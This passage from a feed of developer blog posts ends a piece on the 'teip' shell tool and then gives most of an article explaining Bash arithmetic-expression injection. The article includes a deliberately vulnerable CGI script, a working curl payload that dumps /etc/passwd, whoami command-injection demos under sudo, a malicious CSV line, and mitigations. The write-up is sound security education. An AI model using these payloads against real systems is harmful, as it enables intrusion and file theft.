&lt;p&gt;First, any command such as &lt;code&gt;grep&lt;/code&gt;, &lt;code&gt;date&lt;/code&gt;, &lt;code&gt;base64&lt;/code&gt;, &lt;code&gt;iconv&lt;/code&gt;, &lt;code&gt;fold&lt;/code&gt;, &lt;code&gt;nfk&lt;/code&gt;, &lt;code&gt;rev&lt;/code&gt;, &lt;code&gt;tac&lt;/code&gt; etc, etc.. can now be used for partial modification, without interpreters and &lt;code&gt;while&lt;/code&gt; statement! This makes your daily works more simple ones.&lt;/p&gt;

&lt;p&gt;Second is performance enhancement. Let me show you the results of the quite interesting benchmark. Here is the comparison of processing time to replace approx 761,000 IP addresses with dummy string in 100 MiB &lt;code&gt;/var/log/secure&lt;/code&gt; file.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2F4wrlo6zsfwhbiol7vlkr.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2F4wrlo6zsfwhbiol7vlkr.png" alt="Benchmark result"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Believe it or not, the performance of GNU &lt;code&gt;sed&lt;/code&gt;/&lt;code&gt;awk&lt;/code&gt; together with &lt;code&gt;teip&lt;/code&gt; is better than the same ones which run in a single thread - more than twice as much. If you are interested in, see &lt;a href="https://github.com/greymd/teip/wiki/Benchmark" rel="noopener noreferrer"&gt;Wiki &amp;gt; Benchmark&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;The reason for this is that the "choose what to process" can be done in a separate thread in parallel. As a result, "Masking-taped" commands become faster because they only need to handle a limited amount of input. In this benchmark, the &lt;code&gt;sed&lt;/code&gt; became faster because the number of backtracks performed by the regular expression is reduced.&lt;/p&gt;

&lt;p&gt;With &lt;code&gt;teip&lt;/code&gt;, you can easily get the troublesome work done that you couldn't do with the traditional UNIX commands and Shell environment before 😄&lt;/p&gt;

&lt;p&gt;If you have any questions or pull requests, always welcome. Let's keep the environment together 🌎&lt;/p&gt;




&lt;ol&gt;

&lt;li id="fn1"&gt;
&lt;p&gt;&lt;a href="https://www.man7.org/linux/man-pages/man1/pv.1.html" rel="noopener noreferrer"&gt;https://www.man7.org/linux/man-pages/man1/pv.1.html&lt;/a&gt; ↩&lt;/p&gt;
&lt;/li&gt;

&lt;li id="fn2"&gt;
&lt;p&gt;The broken sample file is prepared &lt;a href="https://github.com/greymd/test_files/blob/master/logs/test_secure_broken.gz" rel="noopener noreferrer"&gt;here&lt;/a&gt;. ↩&lt;/p&gt;
&lt;/li&gt;

&lt;li id="fn3"&gt;
&lt;p&gt;Pardon me, I am not familiar with it. ↩&lt;/p&gt;
&lt;/li&gt;

&lt;li id="fn4"&gt;
&lt;p&gt;By the time I looked for this page, I had seen a &lt;a href="https://stackoverflow.com/questions/25539996/converting-a-file-of-dates-into-unix-time-with-awk" rel="noopener noreferrer"&gt;number&lt;/a&gt; &lt;a href="https://unix.stackexchange.com/questions/262003/reformat-date-to-unix-time-stamp-in-csv-table" rel="noopener noreferrer"&gt;of&lt;/a&gt; &lt;a href="https://unix.stackexchange.com/questions/168315/how-can-i-convert-timestamps-in-a-column-to-a-date" rel="noopener noreferrer"&gt;samples&lt;/a&gt; in &lt;code&gt;awk&lt;/code&gt; that used the &lt;code&gt;date&lt;/code&gt; command. How do they do it when they're dealing with huge files? ↩&lt;/p&gt;
&lt;/li&gt;

&lt;/ol&gt;

</description>
      <category>shell</category>
      <category>bash</category>
      <category>linux</category>
      <category>rust</category>
    </item>
    <item>
      <title>Arithmetic operation in shell script can be exploited</title>
      <dc:creator>Yasuhiro Yamada</dc:creator>
      <pubDate>Tue, 03 Sep 2019 22:09:45 +0000</pubDate>
      <link>https://forem.com/greymd/eq-can-be-critically-vulnerable-338m</link>
      <guid>https://forem.com/greymd/eq-can-be-critically-vulnerable-338m</guid>
      <description>&lt;h1&gt;
  
  
  Is it vulnerable?
&lt;/h1&gt;

&lt;p&gt;Here is the simple Bash script called &lt;code&gt;index.cgi&lt;/code&gt;.&lt;br&gt;
It is supposed to be used as CGI.&lt;br&gt;
It gets parameter called &lt;code&gt;num&lt;/code&gt; provided by a client and checks whether the &lt;code&gt;num&lt;/code&gt; equals to 100 or not.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;#!/bin/bash&lt;/span&gt;
&lt;span class="nb"&gt;printf&lt;/span&gt; &lt;span class="s2"&gt;"Content-type: text&lt;/span&gt;&lt;span class="se"&gt;\n\n&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;span class="nb"&gt;read &lt;/span&gt;PARAMS
&lt;span class="nv"&gt;NUM&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;PARAMS&lt;/span&gt;&lt;span class="p"&gt;#num=&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[[&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$NUM&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="nt"&gt;-eq&lt;/span&gt; 100 &lt;span class="o"&gt;]]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="k"&gt;then
  &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"OK"&lt;/span&gt;
&lt;span class="k"&gt;else
  &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"NG"&lt;/span&gt;
&lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;p&gt;It works fine like this.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;curl &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="nv"&gt;num&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;100 http://localhost/index.cgi
OK

&lt;span class="nv"&gt;$ &lt;/span&gt;curl &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="nv"&gt;num&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;101 http://localhost/index.cgi
NG
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;p&gt;And also, empty, non-digit, and any other invalid parameters are rejected properly.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;curl http://localhost/index.cgi
NG

&lt;span class="nv"&gt;$ &lt;/span&gt;curl &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="nv"&gt;num&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;''&lt;/span&gt; http://localhost/index.cgi
NG

&lt;span class="nv"&gt;$ &lt;/span&gt;curl &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="nv"&gt;num&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;abcdefg http://localhost/index.cgi
NG

&lt;span class="nv"&gt;$ &lt;/span&gt;curl &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="nv"&gt;num&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'true ]] &amp;amp;&amp;amp; [[ 100'&lt;/span&gt; http://localhost/index.cgi
NG

&lt;span class="nv"&gt;$ &lt;/span&gt;curl &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="nv"&gt;num&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'\\;"\\"""""";;;~``~\\'&lt;/span&gt; http://localhost/index.cgi
NG
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;p&gt;Perfect.&lt;br&gt;
It is secure enough, isn't it?&lt;/p&gt;

&lt;p&gt;However, this script is actually EXPLOITABLE.&lt;br&gt;
It has the arbitrary code execution vulnerability.&lt;br&gt;
Can you guess which line is problem?&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;#!/bin/bash&lt;/span&gt;
&lt;span class="nb"&gt;printf&lt;/span&gt; &lt;span class="s2"&gt;"Content-type: text&lt;/span&gt;&lt;span class="se"&gt;\n\n&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;span class="nb"&gt;read &lt;/span&gt;PARAMS
&lt;span class="nv"&gt;NUM&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;PARAMS&lt;/span&gt;&lt;span class="p"&gt;#num=&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[[&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$NUM&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="nt"&gt;-eq&lt;/span&gt; 100 &lt;span class="o"&gt;]]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="k"&gt;then
  &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"OK"&lt;/span&gt;
&lt;span class="k"&gt;else
  &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"NG"&lt;/span&gt;
&lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;p&gt;Think 1 minute...&lt;/p&gt;

&lt;p&gt;...&lt;/p&gt;

&lt;p&gt;Did you get it?&lt;/p&gt;

&lt;p&gt;The problem is this line.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[[&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$NUM&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="nt"&gt;-eq&lt;/span&gt; 100 &lt;span class="o"&gt;]]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="k"&gt;then&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;p&gt;Let's execute this command.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;curl &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="nv"&gt;num&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'x[$(cat /etc/passwd &amp;gt; /proc/$$/fd/1)]'&lt;/span&gt; http://localhost/index.cgi
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;p&gt;And here is the result.&lt;br&gt;
&lt;code&gt;/etc/passwd&lt;/code&gt; of the Web server is exposed! Yay!&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;curl &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="nv"&gt;num&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'x[$(cat /etc/passwd &amp;gt; /proc/$$/fd/1)]'&lt;/span&gt; http://localhost/index.cgi
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...
gnome-initial-setup:x:126:65534::/run/gnome-initial-setup/:/bin/false
gdm:x:127:130:Gnome Display Manager:/var/lib/gdm3:/bin/false
NG
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;p&gt;This behavior may also cause CSV injection, privilege escalation and etc (see later).&lt;/p&gt;

&lt;p&gt;Let me explain the technical reason of this phenomenon.&lt;/p&gt;

&lt;h2&gt;
  
  
  Before you read
&lt;/h2&gt;

&lt;p&gt;This article is based on the &lt;a href="http://ya.maya.st/d/201909a.html"&gt;report (Japanese)&lt;/a&gt; written by &lt;a href="https://twitter.com/yamaya"&gt;@yamaya&lt;/a&gt;.&lt;br&gt;
All the samples in this article were checked with following versions.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ bash --version
GNU bash, version 5.0.0(1)-release (x86_64-pc-linux-gnu)

$ ksh --version
  version         sh (AT&amp;amp;T Research) 93u+ 2012-08-01

$ zsh --version
zsh 5.4.2 (x86_64-ubuntu-linux-gnu)

$ mksh -c 'echo $KSH_VERSION'
@(#)MIRBSD KSH R56 2018/01/14
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;p&gt;Please note that first PoC only works with &lt;code&gt;bash&lt;/code&gt; and &lt;code&gt;mksh&lt;/code&gt; as far as I investigated.&lt;br&gt;
But similar behavior is confirmed with &lt;code&gt;zsh&lt;/code&gt; and ksh-like shells (&lt;code&gt;ksh&lt;/code&gt;, &lt;code&gt;pdksh&lt;/code&gt;) as mentioned later.&lt;br&gt;
&lt;code&gt;ash&lt;/code&gt; and &lt;code&gt;dash&lt;/code&gt; are not affected as far as I know.&lt;/p&gt;
&lt;h1&gt;
  
  
  Arithmetic expression of shell script
&lt;/h1&gt;

&lt;p&gt;Not only &lt;code&gt;bash&lt;/code&gt; but also &lt;code&gt;zsh&lt;/code&gt;, &lt;code&gt;ksh&lt;/code&gt; and etc ... evaluate integer type variable as same as common programming languages.&lt;br&gt;
However, it is not just evaluated as "integer number" but "Arithmetic expression".&lt;/p&gt;

&lt;p&gt;"Arithmetic expression" means the variety of expressions for mathematical calculations like various operators, array, assignment and so on.&lt;br&gt;
For bash, see manual &lt;a href="https://www.gnu.org/software/bash/manual/bash.html#Shell-Arithmetic"&gt;6.5 Shell Arithmetic&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;The way of evaluation of Arithmetic expression causes the unintentional behavior.&lt;br&gt;
For example, here is a simple script called &lt;code&gt;hoge.sh&lt;/code&gt; (this sample is came from the &lt;a href="http://ya.maya.st/d/201909a.html"&gt;reported article&lt;/a&gt;).&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;#!/bin/bash&lt;/span&gt;
&lt;span class="nb"&gt;typeset&lt;/span&gt; &lt;span class="nt"&gt;-i&lt;/span&gt; n &lt;span class="c"&gt;# declare "n" as integer type ("typeset" is same as "declare")&lt;/span&gt;
&lt;span class="nv"&gt;a&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;5
&lt;span class="nv"&gt;n&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$1&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$a&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;p&gt;It just prints the value of &lt;code&gt;a&lt;/code&gt;.&lt;br&gt;
This script is expected to print &lt;code&gt;5&lt;/code&gt; ANYTIME.&lt;br&gt;
Even if any values provided by user, &lt;code&gt;n&lt;/code&gt; is only affected and &lt;code&gt;a&lt;/code&gt; is NOT affected.&lt;/p&gt;

&lt;p&gt;Is it OK so far ?&lt;/p&gt;

&lt;p&gt;However, unexpected result is shown when the argument is &lt;code&gt;a=10&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;./hoge.sh &lt;span class="nv"&gt;a&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;10
10
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;p&gt;Why is this happening ?&lt;br&gt;
Because the argument was evaluated as "Arithmetic expression".&lt;br&gt;
Here is the Bash's manual that explains this behavior.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://www.gnu.org/software/bash/manual/bash.html#Bash-Builtins"&gt;4.2 Bash Builtin Commands - Bash Reference Manual&lt;/a&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;declare&lt;br&gt;
...&lt;br&gt;
-i&lt;br&gt;
The variable is to be treated as an integer; arithmetic evaluation (see Shell Arithmetic) is performed when the variable is assigned a value.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;As you can see, &lt;code&gt;n&lt;/code&gt; was declared by &lt;code&gt;typeset -i&lt;/code&gt;.&lt;br&gt;
Then, &lt;code&gt;n="$1"&lt;/code&gt; does NOT means &lt;strong&gt;&lt;code&gt;n&lt;/code&gt; is assigned the value of $1&lt;/strong&gt;.&lt;br&gt;
It means &lt;strong&gt;&lt;code&gt;n&lt;/code&gt; is assigned the result of $1 that evaluated as arithmetic expression&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Because &lt;code&gt;n&lt;/code&gt; is declared as integer, therefore evaluation is implemented when this variable is assigned value.&lt;/p&gt;

&lt;p&gt;The value of &lt;code&gt;a&lt;/code&gt; is overwritten because &lt;code&gt;a=10&lt;/code&gt; is properly evaluated since it has the correct operator (assignment) as the arithmetic expression.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://www.gnu.org/software/bash/manual/bash.html#Shell-Arithmetic"&gt;6.5 Shell Arithmetic - Bash Reference Manual&lt;/a&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;= *= /= %= += -= &amp;lt;&amp;lt;= &amp;gt;&amp;gt;= &amp;amp;= &lt;sup&gt;=&lt;/sup&gt; |=&lt;/p&gt;

&lt;p&gt;assignment&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;It looks like unintuitive but it is clearly documented on the bash's manual.&lt;/p&gt;

&lt;p&gt;Please note that, this is same as &lt;code&gt;zsh&lt;/code&gt;, &lt;code&gt;ksh&lt;/code&gt; and other shells.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ ./hoge.zsh a=10
10

./hoge.ksh a=10
10
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;p&gt;In this case, &lt;code&gt;n&lt;/code&gt; is assigned &lt;code&gt;$1&lt;/code&gt; by &lt;code&gt;=&lt;/code&gt; operator.&lt;br&gt;
However, this evaluation is going to be implemented even though the assignment is conducted by &lt;code&gt;read n&lt;/code&gt; (to use stdin as the value) or &lt;code&gt;n=$(command)&lt;/code&gt; (to use the result of the &lt;code&gt;command&lt;/code&gt; as the value).&lt;/p&gt;

&lt;p&gt;Let me explain one more advanced example.&lt;br&gt;
It is not commonly known but any external commands can be called as an arithmetic expression.&lt;br&gt;
As you may know, Shell supports Array.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://www.gnu.org/software/bash/manual/bash.html#Arrays"&gt;Arrays - Bash Reference Manual&lt;/a&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;name[subscript]=value&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;And it can be interpreted as an arithmetic expression.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ (( x[0]=1, x[1]=2 ))
$ echo "${x[*]}"
1 2
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;p&gt;In addition, &lt;strong&gt;command substitution &lt;code&gt;$(command)&lt;/code&gt; can be stated as the subscript of array like this.&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ (( x[$(echo 0)]=100 ))
$ echo "${x[0]}"
100
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;That means, &lt;code&gt;x[$(command)]&lt;/code&gt; is GRAMMATICALLY CORRECT AS AN ARITHMETIC EXPRESSION.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Wow, that's interesting!&lt;br&gt;
Let's modify above example as following.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ ./hoge.sh 'x[$(whoami&amp;gt;&amp;amp;2)]'
myuser
5
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;p&gt;As you can see, &lt;code&gt;whoami&lt;/code&gt; command is executed and user name &lt;code&gt;myuser&lt;/code&gt; is shown.&lt;br&gt;
Please note that &lt;code&gt;whoami&lt;/code&gt; is NOT evaluated on the current shell.&lt;br&gt;
It's clear if you run this example with &lt;code&gt;sudo&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ sudo ./hoge.sh 'x[$(whoami&amp;gt;&amp;amp;2)]'
root
5
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;p&gt;If &lt;code&gt;$(whoami&amp;gt;&amp;amp;2)&lt;/code&gt; is evaluated on the current shell, the result must be &lt;code&gt;myuser&lt;/code&gt; not &lt;code&gt;root&lt;/code&gt;.&lt;br&gt;
That means &lt;code&gt;hoge.sh&lt;/code&gt; is executed as the privileged process and &lt;code&gt;whoami&lt;/code&gt; prints &lt;code&gt;root&lt;/code&gt; in the same process.&lt;/p&gt;
&lt;h2&gt;
  
  
  Other affected expressions
&lt;/h2&gt;

&lt;p&gt;Not only &lt;code&gt;typeset -i&lt;/code&gt; but also other syntaxes like &lt;code&gt;$(( ... ))&lt;/code&gt; and &lt;code&gt;$[ ... ]&lt;/code&gt; for Arbitrary expression perform same procedure.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;#!/bin/bash&lt;/span&gt;
&lt;span class="nv"&gt;a&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;5
&lt;span class="nv"&gt;n&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$((&lt;/span&gt; &lt;span class="nv"&gt;$1&lt;/span&gt; &lt;span class="k"&gt;))&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$a&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;





&lt;div class="highlight"&gt;&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ sudo ./script.sh 'x[$(whoami&amp;gt;&amp;amp;2)]'
root
5
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;p&gt;Surprisingly, arithmetic binary operators (like &lt;code&gt;-eq&lt;/code&gt;, &lt;code&gt;-le&lt;/code&gt;) used within the &lt;code&gt;[[ ... ]]&lt;/code&gt; are also same.&lt;br&gt;
That means an operand of the operator is evaluated as Arithmetic expression.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;#!/bin/bash&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[[&lt;/span&gt; &lt;span class="nv"&gt;$1&lt;/span&gt; &lt;span class="nt"&gt;-eq&lt;/span&gt; 0 &lt;span class="o"&gt;]]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then
    &lt;/span&gt;&lt;span class="nv"&gt;a&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0
&lt;span class="k"&gt;else
    &lt;/span&gt;&lt;span class="nv"&gt;a&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1
&lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;





&lt;div class="highlight"&gt;&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ sudo ./script.sh 'x[$(whoami&amp;gt;&amp;amp;2)]'
root
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;p&gt;In shell script, evaluation of arithmetic expression is performed in various situations.&lt;br&gt;
For example, &lt;code&gt;offset&lt;/code&gt; and &lt;code&gt;length&lt;/code&gt; used in the &lt;a href="https://www.gnu.org/software/bash/manual/bash.html#Shell-Expansions"&gt;parameter expansion&lt;/a&gt; &lt;code&gt;${var:offset:length}&lt;/code&gt; is also evaluated as arithmetic expression.&lt;/p&gt;
&lt;h2&gt;
  
  
  CSV Injection
&lt;/h2&gt;

&lt;p&gt;The author of the &lt;a href="http://ya.maya.st/d/201909a.html"&gt;original report&lt;/a&gt; introduced following script that causes &lt;a href="http://georgemauer.net/2017/10/07/csv-injection.html"&gt;CSV Injection&lt;/a&gt;. This script just loads the CSV file and run simple calculation for each line.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;#!/bin/bash&lt;/span&gt;
&lt;span class="nv"&gt;csv&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"foo.csv"&lt;/span&gt;
&lt;span class="k"&gt;while &lt;/span&gt;&lt;span class="nv"&gt;IFS&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;, &lt;span class="nb"&gt;read &lt;/span&gt;item price num&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do
    &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$item&lt;/span&gt;&lt;span class="s2"&gt;,&lt;/span&gt;&lt;span class="k"&gt;$((&lt;/span&gt;price&lt;span class="o"&gt;*&lt;/span&gt;num&lt;span class="k"&gt;))&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;span class="k"&gt;done&lt;/span&gt; &amp;lt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$csv&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;p&gt;But if the CSV file includes malicious input like this, an arbitrary command is executed.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight plaintext"&gt;&lt;code&gt;hoge,100,x[$(whoami&amp;gt;&amp;amp;2)]
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;h2&gt;
  
  
  Workaround
&lt;/h2&gt;

&lt;p&gt;Next, let me discuss how to suppress malicious attacks from shell script.&lt;br&gt;
The point is that to be nervous about external input.&lt;/p&gt;
&lt;h3&gt;
  
  
  Check input as string
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;=~&lt;/code&gt; operator that compares the string value does not evaluates the value as arithmetic expression.&lt;br&gt;
If the value supposed to be digit numbers, check with regular expression in advance.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;#!/bin/bash&lt;/span&gt;
&lt;span class="nb"&gt;typeset&lt;/span&gt; &lt;span class="nt"&gt;-i&lt;/span&gt; n
&lt;span class="nv"&gt;a&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$1&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;span class="o"&gt;[[&lt;/span&gt; &lt;span class="nv"&gt;$a&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;~ ^[0-9]&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="o"&gt;]]&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nv"&gt;n&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;$a&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;h3&gt;
  
  
  Use external command as much as possible
&lt;/h3&gt;

&lt;p&gt;Originally, shell is the "glue" language to combine multiple commands.&lt;br&gt;
Why don't you utilize external commands?&lt;/p&gt;

